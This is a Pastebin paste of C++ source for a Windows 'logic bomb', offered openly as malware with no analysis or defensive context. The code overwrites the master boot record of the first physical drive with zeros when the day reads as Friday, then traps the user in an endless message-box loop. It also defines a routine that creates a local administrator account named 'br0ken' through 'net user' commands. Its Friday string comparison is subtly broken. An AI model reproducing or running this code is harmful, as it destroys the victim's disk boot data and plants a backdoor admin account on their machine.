Advertisement
FlyFar

FlashbackFriday C++ Logic Bomb - Source Code

Mar 2nd, 2023 (edited)
541
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.33 KB | Cybersecurity | 0 0
  1. // overwrites MBR, but only on Friday.
  2.  
  3. #include <Windows.h>
  4. #include <iostream>
  5. #include <ctime>
  6. #include <stdio.h>
  7.  
  8. #define MBR_SIZE 512
  9.  
  10. using namespace std;
  11.  
  12. int ZeroMBR(void) {
  13.     DWORD write;
  14.     char data[MBR_SIZE];
  15.  
  16.     ZeroMemory(&data, sizeof(data));
  17.  
  18.     HANDLE disk = CreateFile((LPCSTR)"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
  19.     WriteFile(disk, data, MBR_SIZE, &write, NULL);
  20.     CloseHandle(disk);
  21.  
  22.  
  23.     return 0;
  24. }
  25.  
  26. void AddAdminUser(void) {
  27.     char * adduser = "net user /add br0ken br0ken";
  28.     char * addasadmin = "net localgroup administrators br0ken /add";
  29.  
  30.     WinExec((LPCSTR)adduser, 0);
  31.     WinExec((LPCSTR)addasadmin, 0);
  32. }
  33.  
  34. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
  35.     time_t rawtime;
  36.     struct tm * timeinfo;
  37.     char buffer[100];
  38.  
  39.     time(&rawtime);
  40.     timeinfo = localtime(&rawtime);
  41.  
  42.     strftime(buffer, sizeof(buffer), "%A", timeinfo);
  43.  
  44.     const char * str(buffer);
  45.  
  46.     if (str == "Friday") {
  47.         ZeroMBR();
  48.  
  49.         while (1) {
  50.             int msgBox = MessageBox(NULL, (LPCSTR)"hi", (LPCSTR)"I don't like ur computer", MB_OK);
  51.         }
  52.  
  53.     }
  54.  
  55.     MessageBox(NULL, (LPSTR)str, (LPSTR)str, MB_OK);
  56.  
  57.     return 0;
  58. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement